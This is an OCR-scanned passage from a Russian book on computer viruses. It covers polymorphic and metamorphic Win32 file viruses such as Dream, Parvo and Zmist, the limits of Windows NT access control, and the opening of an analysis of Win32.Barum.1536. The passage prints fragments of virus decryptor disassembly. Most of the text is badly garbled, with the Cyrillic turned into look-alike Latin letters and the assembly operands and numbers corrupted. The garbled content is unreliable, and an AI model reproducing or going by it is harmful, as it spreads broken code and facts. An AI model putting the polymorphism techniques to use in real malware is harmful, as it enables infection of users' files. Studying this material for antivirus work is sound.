Hbix KOMaHfl «MyCOpOM».

BHpyc Win32. Kor
E800000000 c a l l $+5
33F9 xo r e d i.e c x
33 F9 xo r e d i.e c x
F5 cmc
33 F9 xor e d i.e c x
5F pop edi
F5 c?nc
F8 c lc
47 m e e d i
47 m e e d i
06 s e ta lc
D6 s e ta ic
F9 s t c
4F dec e d i
4F dec ed i
81C7C3000000 add edi.OOOO
F9 s t c
F9 s t c

KOManaa

KOMaHfla
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BS04030000 ■ov ecx,Crypted ; 3HaMiiHafl Ko^aHfla
F9 s t c

LoopC:
06 s e ta lc
81748FFC1F740300 xor [e d i+ e c x ] ,0000374 ; 3H3Mi™afl KOMaHfla
06 s e ta lc
06 s e ta lc
49 dec ecx i 3Hal-iiiMai! KOMaHfla
D6 s e ta lc
90 nop
90 nop
03C9 or ecx ,ecx , 3na<-imaa wwaHaa
0F85D3FFFFFF jn e LoopC ; 3na'iiiv:a!i <o*aHaa

A BHpyc Win32.Dream.4916 -  npHMep Tan Ha3biBaeM0H no/niMopcf)- 
Hoii «push»-TexHOJionni. Bee Tejio BHpyca, pa3MemeHHoe b 3apaaceHHOM 
cfiaHAe, npeflCTaB.iaeT co6oii hcckojibko tuchh  KOMaHfl «PUSH>. noMe- 
m a r o m H X  B CTeK «HaCTOHIUHH» HCHOJIHHeMblH KOZI BHpyca. ^Tofibl C03- 
aaTb 3(f)4>eKT nojiHMop4)Hoc.TH, 3ano.'iHeHne cTeKa ocymecTBJWeTCH KaK 
16-6llTOBbIMH, TaK H 32-6HTOBHMH KOMaH/iaMH «PU SH », H, KpOMC Toro, 
b cji^aHHbie MecTa BHpyca BCTaB.raioTCH napbi KOManzi «PUSH/POP», 
He H3MeHJHomne coctohhhh CTeKa. B Komje BHpycHoro rejia pa3MemaeT- 
ch KOMaHfla «JM P ESP», nepeaaromaa ynpaBJieroie Ha BupyciibiH koa, -  
HMeHHO n03T0My b .HHCTHHre npHBOflHTca kohch BHpyca, a He ero Haqa.io. 

; Bupyc Win32. Dreain. 4916

66682E03 push 0032E
666880BD push 0BD80
68AE010000 push
666800E8 push OE8OO
68E8870100 push
686EC23C4F push
5E pop
66680000 push
681DE81C01 push
68000000EB push
6668E833 push
6810000050 push
68000005CC push
6889856B05 push
6800E00000 push
681300002D push
688B842454 push
685D83ED06 push
6800000000 push
666802C7 push
665A pop
666860E8 push
FFE4 jmp

0000001AE

0000187E8 
04F3CC26E 
e s i 
00000 
0011CE81D 
0EB000000 
033E8 
050000010 
0CC050000 
0056B8589 
00000E000 
02D000013 
05424848B 
006ED8350 
000000000 
0C702 
dx
0E860
esp

St o t  w y c o p . . .

. . . b c t b k  He nonaaeT

3 t o t  Mycop...
. . .  b C T e K  H e n o n a f le T



Bi/ipycbi a w  32-pa3pg)AHbix eepcniTi Windows ❖ 299

n p H M e p o M  n p H M e n e H H H  «push»-TexH0Ji0rHH MoaceT cayjKHTb 

B H p y c  Win32.Aris, TojibKo b  h c m  k o h c t e h t h , noMemaeMbie b  c t c k , re- 
HepnpyioTCH HecKOJibKHMH cJiynafiHbiMH p e r a c T p o B H M H  K O M a H a a M H  

(«ADD»/«SUB»/«XOR> h  t . n.):
; Bupyc W in32.A r is

BA78778A01 mov etix,0018A7778
81C2D34179SE add edx,08E7941D3
52 push edx
B81CF98D5B mov eax,05B8DF91C
2DE3FC08A3 sub eax,0A308FCE3
50 push eax

Tenepb o «KJiaccHHecKOM» nojiHMopcjMSMe - Ha  npHMepe BHpyca 
Win32.Parvo. OcHOBHaa nacTb T ejia  B Hpyca aaiHH^poBana, a pacmH<}>- 

POBIUHK COCTOHT H3 HeCKOJIbKHX aecaTKOB (JjparMeHTOB, COflepacamHX KaK 
«coaep»caTeJibHbie» aeficTBHfl, TaK h  «Mycop». IlpHMeHaTejibHO, h t o  «c o - 
/[ep>KaTe.ribHbie» aeftcTBHH «pa3Ma3aHbi» n o  pa3HbiM Ko.waHaaM h  no  pa3- 

HbiM 4>paraeHTaM, c a M H  cjppameHTH nepeMemaHbi b  cjiynaHHOM nopa/iKe, 

a riepexoa o t  oaHoro H3 h h x  k  a p y r o M y  Bbinojm aeTCH He  T ojibK o  KOMaH- 

a a M H  «JMP» H «CALL>, H O  H «CKpbITHO» -  n p H  n O M O U I H  K0M6HHanHH 
r a n a  «CALL/POP/RET». IlpHMeHeHHe n a e n  « n e p M y r a i m H »  HajiHijo. 
B o t  MajieHbKHH «KyconeK» oaHoro H3 BapnaHTOB 3Toro p a c n i H ^ p o B m H K a  

(npHBecra ero nojiHOCTbio He upeacTaBJiaeTca b o 3m o j k h h m  -  o h  b  aaH- 
h o m  cjiynae c o c t o h t  H 3  22 4>parMenTOB). C y M e e T e  j ih  b h  npocjieaHTb 3a 

nepeaanen ynpaBJieHHa o t  (JjparMeHTa k  (JjparMemry h  ao6paTbca ao « b h -

xoaa»?
; OparMeHT 1 - aaecb exon
00401354: in c dh
00401356: jmp 000413790

; $par«e.H T 3
0041369D: xchg ed i.e b p
0041369F: mov ed i,046B2 l
004136A4: c a l l 0004136C6

: OparMeHT 4
004136C6: mov d i , 009B0
004136CA: xo r d i.O lODC
004136CF: xchg d i.b p
004136D2: pop e d i
00413603: c a l l 0004136EE

O p a rM e H T  5
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004136EE: imp 00041370D

; O p a rw e H T 6

0041370D: pop edx
0041370E: xcfig e b x ,s b s

00413710: add edx,OOOOE89BO
00413716: mov ebp,0424AD707
0041371B: retn

; OparM ffHT 2

00413790: mov s i , 07838
00413794: dec bp
00413796: c a l l 000413690
; A 3,060 = -  BtfXO 5

H e 'iT O  n o u o o H o e  ae.aa eT h  B iip y c  Win32.Zperm.a, m n b ic o  H a O T^e / ib - 

H bie, iTepec.Ta B JieH H b ie M e c Ta M H  4>parM eH Tbi p a a o n T  H e p a c in n c ^ p o B in H K , 

a B ecb B H p y c ! B n e p B b ie  n o a o o n a H  i i^ e a  6bi.ua n c n 0 Jib 3 0 B a n a  b  D O S -  

B H p y c e  Ply. O a K T H n e c K H  b c jiy q a e  Win32.Zperm.a p e n b  Hziex H e  co B ce M  

o « IIo a h m o p c f)h 3m e» .  h o  o  < M C Ta MO p c})H 3 Me >> B H p y c a .

O /Ilia K O  C JIO K H e H H IH M  H3 M eTaM Opc})HbIX B H p y C O B , 3apaaCaK)m HX 

P E -4 > a H ^ b i,  b o t  yace m h o t o  . t o t  c H H T a e T c a  Win32.Zmist ( o h  ace Win32. 
Zombie.Mistfall). A b t o p  « B 6v x a j i »  b  H e ro  c p a 3 y  H ecKO JibKO  cjio acH e ft- 

IU H X  Te X H O JIO TH H  «3 a n y T b IB a H W fl»  B H pyC O JIO rO B  H  a H TH B Iip V C O B , c p e flll 

K O TO p W X :

O  RPM E (Real Permutation Engine) -  T e x H O J io n iH  c jiy H a iiH o ii  ne- 
p e c T a H O B K H  M e c Ta M H  (|)p arM eH TO B  B H p y c a ;

O  U E P  (Unknown Entry Point, oHa ace EPO ) -  TexHOJiorira Biie/ipe- 
Hhh nepBoii BiipycHofl KOMaHabi B cepezuiHy nporpaMMHoro Ko^a; 

O  ETG (Executable Trash Generator) -  TexHOJiorHH reHepanim c;iy- 
‘{aiiHbix perncTpoBbix KOMaH/i;

O  MistFall -  Te x H O .T O rH H  «nepeMemHBaHUH» B H p y c H o ro  Kozia c k o -  

/Iom nporpaMMbi;

O  flii3 a c c e M 6 jie p  a j i h h  K O M a n /t

B o t  K p a T K o e  h  ; i 0B 0Jib H 0 n o B e p X H O C TH o e , h o  /jaace b  TaK O M  BH/je B e c b - 

M a B n e n a T JiH io m e e  o n u c a H iie  B H p y c a  Win32.Zmist, B b in o jiH e m io e  c o - 

T p y flH H K a M H  « J I a 6o p a T o p H H  K a c n e p c K o r o » :

. . .  O n eH b  CnOXHblH riO/lMMOp4>HblH KOMFIblOTepHblH B H p y c . M cn O Jlb 3 y -  

e T y H M a n b H y to  r e x H o n o r m o  e c r p a m a H m  a  (p a i in b i :  B u p y c  « p a 3 6 n p a -  
e r »  ( f lM 3 a c c e M d n v t p y e t)  P E E X E -< p a u n  H a c o c r a B H b i e  n a c m ,  B c r p a n -  

B a e r  c b o h  k o a  m c o d n p a e r 3 a H O B O , n e p e M e u iM B a a  n p n  s t o m  c b o h  k o a  
m k o a  3 a p a x a e M o r o  ( p a t in a .  M c n o n b 3 y e r  y H m a n b n y io  r e x H o n o m i o
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AeKpunroBaHMn CBoero re/ia a m  o6xona OBpwcimecKux aHanmaTO- 
p o B .  TcNKa exo/ja 3apa>KeHHoro ( p a t i n a  ne mMemeTcn. 3apax<eHHbie 
< p a f in b i  npaKTiwecKM B c e r j q a  p a 6 o T o c n o c o 6 H b i .  flocne 3apaxenua 
pa3Mep (patinoB yBesnwuBaercn npuMepHO Ha 35 K6. F I o m c k  (patinoB 
pjm 3apaxeHua npomBoom peKypcmno: cnavana b jwpeKropm  
Windows, fxanee b  rtyrax nepeMeHHoti %PATH% u Ha AMCKax o t  A: no 
Z:. 3apax<aeT m/ibKO re c p a t in b i ,  c r p y i o y p y  k o t o p n x  3Haer: b  o c h o b -  

HOM 3T O  (pafiflbl, CKOMrMJWpOBaHHbie KOMriMmTOpaMM BblCOKOypOB- 
neBbix f>3biKOB (95% ucnonnaeMbix (pati/ioB). flpu 3apaxeHHM (patina 
BbiAejweT cede 6/ iok n a t / m m  b  32 M6...

B H e K o ro p o M  C M H CJie  Win32.Zmist, n o H B H B iiiH H C H  b H a n a ^ e  XXI Be

K a, -  3 T o  (J>H H ajibH M H  « c a j n o T »  B c e ii a n o x e  W in 3 2 -B H p y c o B .  IIoc;ie e ro  

n o a B J ie H iM  n n c a T b  B H p y c w  r j i x  3a pa >K en na P E -c f ja iu io B  C T a jio  6e c c M H c - 

JieH H O  -  H H K TO  H e 0H6H H T , H H K TO  H C n O H M e T. M O JK H O , KO H eHH O , y n o M H - 

H V T b  « M O H C T p a »  Win32.MetaPHOR, H a n n c a H H o r o  n a p y  Jiet  c n y c T H . 

M  Bee.

HeT, Win32-BHpycbi, kohchho, nHinyT. E*eroano rioaB.nHiOTca He- 

CK0 .>ibK0 H O B b ix  pa3H 0B H A H 0C TeH  «3apa3b i» ha h  Windows. Ho, BO-nepBbix, 

«HeCKOJIbKO» -  3T0 He Te «J(eCHTKH» H « COTHH!>. KOTOpblMH 6 bVI 0TMCM6H 

py 6 eac TbicHHeJieniii. Bo-BTopwx, He to  h to  «nepen.TOHyTb»-, a xoth  6 bi 

BCTan> BpoBeHb c Win32.Zmist h Win32.MetaPHOR coBpeMeHHbiM  

BHpycaM He rioii cmiy. / [a  h  H3MeHH;racb noSy/urrejibHbie m othbm  BHpy- 

conHcaTeiieH. I Io h th  h h k to  yace He CTpeMHTCH «cKa3aTb H0 B0 e c.tobo>> h  

<<ocTaBHTb cnej\». CoBpe.MeHHue Win32-BHpycbi Toace oneHb c.TO»cHbi, ho  

OHH npe^CTaBJIHKDT C0 6 0 H Ha6 opbI AaBHO H3BeCTHUX TeXHO/IOI’HH, Mexa- 

HHnecKii o 6 ,beaHHeHHbix b  e^HHoe uejioe. Ha3HaneHHe n o ^o 6 Hbix BHpy- 

cob (HanpHMep, Win32.Virut h  Win32.SaIity) -  3 apa3 HTb Ha KOMnbiare- 

pe Bee, h to  B0 3M02KH0 , a 3 3 TCM nocTOHHHo BHceTb b naMHTH, -  pacchijian 

«cn a M » h  3apa6aTHBan aeH bre  cbohm  aBTopaM.

4.3.11.  Bupycbi m noACMCTeMa 6e3onacHocTMi Windows
06cyacflan BHpycw ajih  32-pa3pHflHbix BepcHH Windows, He.ib3H He 

ynOMHHyTb B3aHM00TH0IIieHHH HX C TaK Ha3bIBaeM0H «nOflCHCTCMOH 

6 e3onacHocTii», npncjnrcTByioiueH b  Windows NT. 3 t o  nacTb onepam i- 
oh h oh  CHCTeMbi, peajiH30BaHHaH b  N a tiv e  API h no 3 Bo.riaiomaH pa3 rpa - 

HHHHTb flocTyn k o 6 teKTaM 0 nepaim 0 HH0 H ch ctcm h  nyTeM pea^H 3am m  

neKOTopoH nojiumuKu SesonacHocmu (p en b  o nojiHTHKax 6e3onacHocni 

noftfleT H H *e , b  nraBe, nocBHmeHHOH (|>hjioco4>ckhm h MaTeMaranecKHM  

acneKTaM KOMnbioTepHon B H pyco jion in ).
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K naccHBHMM o6z>eKmaM HH(J)opMaiiHOHHoro a o c T y n a  pa.3pa6oTMHKM 

Windows o th c c j ih  fy m jib i ,  K aTa jio ra , J ion i'ie cK H e  ycTponcTB a, k jiioh h  h 

BeTBH PeecTpa, BbriH C jnrrejibH bie npou eccb i, cpeacxB a  cH H xpom i3annM  

(ceMa(|>0pbI, KpHTHHeCKHC ceKUHH, MbRDTeKCbl H T. n .),  CpejICTBa .vreacsa- 

aaH H oro o 6 \ieHa (noHTOBbie h u ih kh , KafraTibi h  t .  n .), cpeacTB a ynpaB- 

jieHHsi OKHaMH (p a 6 oH iie  CTOJibi h  no jih) -  c m ic o K  / lo cT ax o m o  b c jih k . 

A k th b h h m h  areH TaM ii (a jd b e K m o M u ) HH(}>0pMauH0HH0r 0 ziocTyna aB- 

jw iO Tca  npeacae B cero  ii0Jib30BaTe.;iH h  rp yn n b i n o jibsoB aTejie ii, a T on n ee  

nporpaM M bi, Bb inojiH H iom H ecji o t  h x  HMeHH. IIo jiH TH K a 6e3onacH ocTH , 

peajiH30BaHHaa b Windows NT, n03B0Jifler pa3 rpaHHMHTb a o c T y n  cyrrb- 

eKTOB K o 6 beKTaM.

H anpH M ep , mo>kho ycxaHOBHTb r j i h  n porpaM M  (b  to m  HHCJie h  B iip y 

coB ), 3anym eH H bix o t  h m chh  n0-ib30B a iejia  «Baca nymajH», 3anpeT Ha 

3an n cb  b KaTaJior «C:\WinNT». H s t o  aeflcTBHTejibHO 6 y/ieT onenb  cepb- 

e3Hbiii i i  aertcTBenH bift aanpeT, He npoxoflH M biH  h h  f ljia  KaKHX BHpycoB, 

ec jm , KOHe^HO, o h h  He HBJiaiOTca /ipaHBepa.MM.

m
QtiuiHe| JlocTyTMepe3Betf| Jlocryi Ee3ooacnQCTb*[

[ flcgaBwrv.. I
®  Bee £  
ffl OnbiTHbie no/fcSoeare/iH (KK\Orfeimbie... Âa/vrrb |

fg  C03flATE/lb-enAflEnEU
[E

7i i » r

PegpeiaeHMfl PettpesMTb 3anpetvrrb

riorub* Aocryn □ □
USMCHMTb □ □
Mtchmc h BbnonhCMMe B □
CnncoK coaep)KHMoro nanKM 0 □
MTeHMe b □
3anwcb □ m

JloDo/iHMrenbHQuJ

i-i  n^eHOCHTb wac/wyeMbie or poawreflbCKoro otfMKra 
paapetueHMflhaaTOTofibeKT

O j  Or Mena j flpHMSHMTb

CBCMCTBd? WINNT

P m c . 4 .1 5  ❖  HacTpo&Ka flocTyna 
k 4>aii/iaM b W in dow s N T



Bupycbi AAa 32-pa3p?iAHbix Bepcufi Windows ❖ 3CB

Kohcmho , HMeiOTCH b o o  JiHe JieraJibHue cnoco6u  3anycKa nporpaM M bi o t  

HMeHH nojibsoBaTejia c hhhm  ypoBHeM npiiBiuierMH -  yrajiHTa «RUNAS»- 
h API-cJjyHKUHH « Create Process As I' ser » h ^Create Process Wi th Logon », 
HO H OHH He H36aBJLHK)T OT He06x0ZIHM0CTH 3HaTb JIorHH H napo.flb.

MTaK. n oaxoa  K 3aiIJHTe CBOHX KOMIIblOTepOB, OCHOBaHHblH Ha pa3- 

rpaHHHCHHH AOCTyna, -  pa3 B e oh  He hbjwctch  paaHKajibHbiM m cto ao m  

p e m e H H H  n p o 6;ie M b i KOMnbiOTepHbix B iip y c o B , 3 a p aacaiom H X  P E -c J m iJ ib i?

rioacajiyii, M - H o  He a;iH Bcex h  He Bcer;ia.

Bo-nepBbix, ziaimbiH MexaHM3M /locTyrieH b oriepamioHHbix cHCTeMax 
ceMeilcTBa Windows N T  toju>ko b tom cjiynae. ecjni Bee jjhckh KOMnbro- 
Tepa 0T(jx)pMaTnp0BaHbi no npaiiHJiaM cjsaHJioBOH CHCTeMbi NTFS. /la, 3T0 
OHCHb MoiUHan h rn6KaH (^aftjioBaa cucreMa, cnocooHaa cacHMaTb h iuh4>- 
poBan> coaepacHMoe KaTajioroB, no3BOJunomafl npoii3Bo;iHTb «OTKaTbi» 
4>aiiJioBbix onepauHH, noAZtepaaiBaiouiaH caMOBoccTanoB.’ieHne noBpesK- 
aeiiHbix (HanpHMep, bo BpeMH c6poca nifTaHHH) 3aiiHceii b cjiyace6Hbix 
Ta6jiHirax h T. n. Ho b to  ace BpeMH sto /locTaxo’fflo ooteMHaa, MeAJieHHaH 
h «peM0HT0HenpHr0AHafl» MaxiiHa. HanpiiMep, ecjin bo BpeMH KaKoro- 
jihoo «KaTaKJiH3Ma» onepanHOHHaH CHCTeMa, yc'ranoBJieHHaH Ha NTFS- 
aiicKe, OTKa3biBaeTca 3arpyacaTbcn, to  «cnacefffle» ocTaBiniixcn Ha zincKe 
n0Jib30BaTeiibCKHX /janHbix MoaceT OKa3aTbc» Tpy,itH0Bbin0JiHHM0H 3aaa- 
Meft He TOJibKO a jih pafloBoro n0Jib30BaTe;iH, ho h ^jih KBajiH(|)imHpoBaH- 
Horo cnenna.TOCTa. IloaTOMy, B3BeciiB Bee «pro*> h «contra», OMeiib MHonie 
nojib30BaTejm <f)opMaTHpyK>T ahckh ajih Window's N T  no npaBHJiaM FAT, 
Tepsm npH stom B03MoacHocTb 0praHH30BaTb pa3rpann'ieHne aocryna.

Bo-BTopbix, p a 6 o T a  n0Jib30BaTeJi>i b cncTeMe c BKJnoneHHbiM pa3rpa- 

HHMeHHeM aocTyna h c m -to  H an o M H H aeT  acii3Hb b  npoTHBora3e h  pe3HHO- 
b b jx  n e p n a T K a x . CTepiuibHO, ho oHeHb HeyziooHo. /[a 11 neiueTCH HHor/ia. 

IloaTOMy peacHM pa3rpaHH>ieHHH /iocTyna npneMJieM TOJibKO jijih nojib- 

30BaTejieii c 4orpaHHHeHHbiMii KOMnbroTepHMMH HHTepecaMH>>. H anpH

Mep, o4>HCHan ceKpeTapma M ania BecHyuiKiiHa, K0T0paa 3HaeT Bcero 

ABe nporpaMMbi -  ^ M ic ro so ft W o rd *  h ^HacbHHc*, H iiqero  nporaB  Ta- 

Koro peacHMa HMeTb He 6yaeT. B o jiee  ace aKTOBHbiii n jno6o3HaTejibHHH 

nojib30BaTejib Baca HynKHH, HcnbrraB Bee «npeJiecTM» ycTaHOBJieHHbix 

orpaHH^eHHii, cKopee Bcero, 6yaeT Bxo^HTb b ciicTeM y KaK BcecHJibiibiH 

(h  b t o  ace BpeMH Kpafine yH3BHMbift!) « AflMiuiHCTpaTop » .

B-TpeTbHX, CHCTeMHbie KOMnoHeHTbi W in d ow s  pa3Jii«Hbix BepcHH 

HHor/ia co^epacaT ou ih6kh (TaK Ha3biBaeMbie «}'H 3b iim octh » h jih  «# h -  

p w » ) ,  no3BOjiHioiune Bpe/JOHOCHOMV K o /iy  BHe^paTbca b hx a/ipecnoe npo- 

CTpaHCTBO h 4»KTHHecKH Bbino.iiwTb onepauHH OT HMeHH II0JIb30BaTejIH 

«S Y S T E M » .  IIoflCHCTeMa 3am HTu 6eccmibHa npoTHB TaKoro po^a araK.
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HaKOHeu, yz io6H aa CHCTeMa pa3rpaHHHeHHH AOCTyna caMa Ha KOMnbio- 

T ep e  H e noHBJiaeTCfl. T o t  «n/ ian  3aiuH Tbi», K O Topw ii n o  yMOJinaHHio n p ea - 

jia ra eT ca  b coBpeM eH H bix on epan n oH H bix  CHCTeMax ceM ettcTBa W in d o w s  

N T , He n03B0jm eT  Hcn0Jib30BaTb M H orae  nporpaM M H , pa3pa6oTaHHbie 

paH ee zy ia  M S - D O S  h jih  W in d o w s  9 X . TaKHM 06pa30M, n o jiM O B aTe jib  

(h j ih  aflMHHHCTpaTop, HacTpaHBaiomHH cHCTeMHoe nporpaM M H oe o 6 ec - 

n en eH H e) ao jiaceH  caMOCTOHTejibHO upo/iyMaxb, k om v h  h to  3anpem eH 0, 

a n0T0M  aKKypaTHCHbKo ycTaHOBHTb h jih  c6pocH Tb  ny>KHbie rajioHKH tijih  

T ex  h jih  HHbix jih ck o b  h  K axajioroB . Jl.na W in d o w s  X P  nepBO H anajibno 

npnaeTCH OTKJIIOHHTb «]lpO CTO H  COBMeCTHblH flOCTyn K /JIICKy», KOTOpwfi 

BKJiioHeH n o  yMOJi'iaHHK) h  He n03B0JiaeT HH/mBHayaJibHo HacxpaHBaTb 

pa3peuieH H a h  3anpemeHHa. CKopee Bcero, «/ ioM aiiiH H H » nojib30B aTejib  

npocTo He 6yaeT BceM s th m  3aHHMaTbCH, a B03bMeT a  a o tk j i io h h t  3amHTy.

B o t  BaM  H e r a p e  o n e n b  c y 6’b e K TH B H b ix  {Jjaicropa, o 6y c jio B J iH B a io m H x  

B n o jiH e  o 6-b e K TH B H M H  4>aicr, -  H a o n e H b  m h o t h x  K O M n b ro Te p a x  c o n e p a - 

U H O H H b iM H  C H C TeM aM H  ce M e H C TB a  W in d o w s  N T  n o flC H C Te M a  3a m iiT b i hh- 
K o ro  h h  o t  H e ro  He 3 a in iim a e T .

B  W in d o w s  9 X  noacHCTeM a 6e3onacH ocTH  oTcyTCTByeT, BepHee Ha- 

XOflHTCH B 3anaT0HH0M COCTOHHHH. HanpHMep, MOyKHO OTMeTIITb, HTO 

b onepau.noHHhix eHtrreMax s t o t o  ceMeiicTBa 3anpemeHa jnooaa m oah - 

cjjHKaiiHH (Jjaiijia 3anymeHH0H nporpaMMbi (b  M S - D O S  TaKoro orpaHH- 
HeHHa He 6biJio). 3a6aBHO, h to  b 6oJiee «npo,aBHHyTbix», c to h k h  3peHHH 
3amHiueHH0CTH, onepaiiHOHHbix CHCTeMax ceMencTBa W in d o w s  N T  pa3- 
peuieHO nepeiiMeHOBaHHe 4>aftjia 3anymeHH0H nporpaMMbi, a b W in d o w s  

9 X  -  TSKH HeT.
OT/ie.xbHbix cjio b  3ac.nyacHBaeT W in d o w s  V is ta  -  Ha m o m b h t  Hannca- 

h h h  3THX cTpoK  caM aa HOBaH, caM aa KpacHBaa. caM aa p ecyp coeM K aa  h  

caM aa He/ipy>fcejiio6Haa n o  o ra o iu eH H io  k  paHee co3/iaH H biM  n p o rp a M M a M  

h  paHee KynjieH H biM  KOMnbiOTepaM on ep an H o iiH aa  CHCTeMa1. E e pa3pa- 

So t h h k h , He H aaeacb  6 o jie e  Ha n o flc iic r eM y  pasrpaHHHeHHa AOCTyna, n o - 

nbiTaJiHCb rp y 6 o  h  He3aTeiiJiHBo 3a6 jioK iipoB aTb  pa/i H3jno6jieH H bix b h - 

pycaM H  npHeMOB, 3afleitcTB0BaB pa a  TexHOJionui:
O  A S L R  (A d d r e s s  S p a ce  L a y o u t R a n d o m iz a t io n ) -  Bee C H C TeM H bie 

6h 6j i h o t c k h  He h m c io t  6o jib u ie  n o c T O H H H o r o  aapeca  b n a M H T H , a 3a 

BKJU O H eH H e-B hiK JiK JH eH H e a T o r o  pe»cH M a  O TB e n a e T c n e u H a jib H b iii  

6h t  b  3aro .xo B K e  H c n o jm a e M M x  (J)aHJioB;

O  S a fe S E H  -  n e n o H K a  c T p y ic r y p H b ix  06p a 60TH H K 0B h ck jh oh ch h h , 

H a3H anae M aH  npHJioaceHHio n o  y M O JiH a m n o , Tenepb p a c n o jia ra e T c a

1 Windows 7 nosBioacb b t o t  MOMewi, Koraa pa6oTa Haji KHHroft noaxoanjia 
K  KOHIiy.
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He b CTeKe, a b OT.ziejibHOH cckhhh «.pdata», jinn Koxopoii c6pomeH 
6h t pa3pemeHHH 3anHcn;

O  NX 3anpemaeT BbinojineHHe Koaa, coaepacamerocn b CTeKe. 
IIoacajiyH, 3HaHHTejibHyio nacTb «CTapbix» BHpycoB sth HOBOBBeaeHHH 

ype30HHT, ho K a K H X -ro  npHHUHmiaJibHbix 6apbepoB zuih cymecTBOBaHHH 
H p33MH0>KeHHH HX OOJiee COBpeMCHHblX MOZIH^HKaHHli, CHa6;KeHHbIX 
WTb-MVTb 6ojiee cjioacHbiMH ajiropHTMaMH, TaK h He 6bWo Bos/iBHrnyro. 
BnponeM, MoaceT 6brrb, ohh 6ojibine h He hv^khm?

4 . 4 .  r ip n M e p  aHa/\M3a m  H eM TpaAM 3auM M  

K O H K p e TH O TO  B k ip yc a
...Oh ebui, pyiajica ha necKOJivKiix .uepnwbix 
X3UKOX, acaxaii, ompuzuean msuxu ottix, e 3a- 
ruuiwueocmu tumman cmpounw u mym :ncepas- 
pymciJi deopupi, nomoM Haxoneu, cdajics...

A. m B. CTpyraiqaie. 
«r io H e a e jitH H K  HaHHHaeTca b c y66o T V »

Ha 3tot paa n0Ka3aTe;ibH0H «ayToncmi» nojiBeprneTCH HecjioacHbiH BH
pyc Win32.Banun.l536 (oh ace W32.Laziness.1536 h Win32.Girigat. 
1536), HecKOJibKO pa3 jtiomhhjtwh b KaTajiore WildList ot Joe Wells 3a 
2001 rofl.

4 . 4 . 1 .  n e p B M H H b i M  a H a n M 3  3 a p a > K e H H b i x  n p o r p a M M

I lo c j i e  « c j iy n a H H o r o >  3anycKa B H p y c a  3apaaceHHue hm nporpaMMbi o 6H a - 

pyacHBaroTca b  tom ace KaTajiore, o n c y a a  Biipyc c ra p T O B a ji, h 6o jie e  HHr/ie. 

Bee o h h  « n o n p a B jr a jo T C H »  Ha 1536 6aHT0B, a <ma npocBex>> b h h x  3 a M e T- 

hw c t p o k h :  « [ Bajan Rum ] Tekken’ time ent no laziness^.
THniinHaa Ta6jnma ceKUHH 3apaaceHH0H nporpaMMbi BbirjiHflHT cjie- 

ayioinHM o6pa3QM (c m . Ta6ji. 4.12).

T a G n t m a  4 . 1 2 .  T a 6 n u u a  c e K i f u i f  n o c / i e  3 a p a m e H u n  e u p y c o M  
B a r u m

Nam e VirtSize RVA PhysSize Offset Flags
1 C O D E 1000 1000 200 600 E0000020 rwec.....

2 DATA 1000 2000 200 800 C0000040 rw...d...

3 .idata 1000 3000 200 A00 C0000040 rw...d...

4  .reloc 0A00 4000 800 COO F0000060 rwec.d...
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I Ip H  nepBOM 5Ke B3 m a/ie  Ha 3Ty Ta6jnmy cpa3y HacTopaaciiBaioT 6hto- 
Bbie (jiaa rH  3anncn h  Bbinojm eHUH. ycTanoBJieHHbie p/m  ceiciiHH « . r e lo c » .  

A  He b Heft j ih  pacnojiaraexca TOMKa B xoaa  b 3apa»ceH H yjo  nporpaMMy? 
B PE-3arojioBKe n p orp aM M u  nojie «A d d r e s s O fE n t r y P o in t s  HMeeT 3 Hane- 

HHe 4200, H 3TO 03HaqaeT, MTO HH0 p 0aHbIH KOfl aeHCTBHTeJIbHO «C H flH T » 

b ceKOHH nepeM eu jaeM bix  cchjiok. 3a6eraa B n epea , otmcthm, mto BHpycy 
« n o  6 apa 6 a n y »  HasHaMemie h  coaepacH M oe ceKUHH, b KOTOpyro oh san ii-  

cbiBaeTca, -  rjiaBH oe, h to6h  oH a 6buia b (Jiaftjie n ocjie flH e ft.

A.iropnTM pacnera MecronoJiojKeHHfl to h k h  B x o aa  b BH pyc 6 ya eT  c jie -

flJTOIUHM.
1. B M Z-3arojioBKe no CMemeHHio 3Ch naxoaHM aapec PE-3aroaoBKa 

(b HarneM cjiynae sto lOOh).
2. B PE-3arojioBKe no CMemeHHio 28h (OTHOCHTeJibHO Hanajia cjian- 

Jia s to  cocTaBHT lOOh + 28h = 128h) o6Hapy»cHBaeM h 3anoMH- 
HaeM R V A  ( t o  ecTb aapec b naMJtTH) a.i\n tohkh Bxo/ia. Oh paBeH 
4200h.

3. CKaHHpyeM Ta6jmijy cerMeHTOB, pacnojio>KeHHyio cpa3y nocjie PE- 
3arojioBKa (aJiHHa saro/ioBKa F8h, 3HaHHT, b cjjaiine Ta6jnmy cjieay- 
eT HCKaTb n o  CMemeHHio lF 8h). B Ta6jinue cerMeHTOB Hac b nepByio 
onepeflb HHTepecyioT R V \  h BiipTya.’ibHbie aanHbi ceKUHH. ToMKa 
Bxoaa (4200h) pa3MemeHa M e^ay 4000 (Hanaro ceiciiHH .reloc) h

P m c . 4 .1 6  ❖ CxeMa noncKa Bupyca Barum b Ratine
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4A00 (KO H eu ceKUHH .r e lo c )  h  CMemeHa oT n oc iiT e jibH o  ee  Hanajia 

Ha 4200h -  4000h = 200 6 aHTOB.

4. T a  ace ceKUMH Ha ancKe pa3MemeHa n o  a6cojiiOTHOMy C M e m e H H io  

COOh, 3H aH H T, B iip y c  Hazio H C K a Tb  b  n o 3H ijH H  COOh +  2 0 0 h  =  EOOh. 
K c T a r a ,  f l jw  B H p y c o B  r a n a  Win9X.CIH, « a c H B y m H X »  BHe ce K U H H , p a c - 

n e T  6 h iJ i  6bi e m e  n p o m e . Z le iic T B H T e jib H O , RVA -  s t o  c M e m e m ie  o t h o c h -  

Te .nb H o H aM aiia p a cn o ;io a ce H H fl n p o rp a M M b i b  n a M H TH , t o  e c T b  o t  «M Z». 
S n a 'iH T ,  a Jia  « A d d r e s s O f E n t r y P o i n t » = 3 0 0 h  T a x o B a  6b u ia  6bi h  ^ a H J io B a a  

n o 3 H U H H  B H p y c a .

Bot h  Bee, api«f>MeTHKa oTie n b  npocTan.

4.4.2.  AHa/iM3 KOfla
/lH3acceM6jmpyeM 3apa>KeHnyio nporpaMMy h  H3>^HM ee JiMCTimr (cm . 

npHJioaceiiHe).
O p a rM eH T  1. C o 6 cTBeHHO ro B o p a , fl/ia T o ro  h t o 6 h  nay^HTbCH ncicaTb 

Win32.Barum.1536 b h v tp h  4>anjio B  h  «BbiK O BbipiiBaTb>> e ro  o T rya a , f lo - 

CTaTOHHO npoaH ajiH 3H poiiaTb B cero  12 nepB b ix  BHpycHHX KOMan/i. B o t  

oh h :

